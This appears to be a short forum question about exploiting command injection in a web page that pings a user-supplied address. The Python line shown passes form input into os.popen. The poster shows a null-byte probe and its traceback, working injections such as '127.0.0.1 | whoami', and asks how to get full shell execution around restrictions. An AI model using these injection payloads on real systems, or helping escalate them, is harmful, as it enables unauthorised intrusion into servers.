when I entered 127.0.0.1 the result was:-
Pinging 127.0.0.1 with 32 bytes of data:
Reply from 127.0.0.1: bytes=32 time<1ms TTL=128
Ping statistics for 127.0.0.1:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 0ms, Maximum = 0ms, Average = 0ms
when I entered 127.0.0.1%00
I got the following result:-
Traceback (most recent call last): File "C:\Inetpub\wwwroot\pingit.py", line 9, in output=os.popen("ping " + form["action"].value).readlines() TypeError: popen() argument 1 must be string without null bytes, not str
I can execute single word commands like dir, whoami, etc like:-
127.0.0.1 | dir
and
127.0.0.1 | whoami
but cannot execute the following commands
127.0.0.1 | net user
How can I get full shell command execution with such restrictions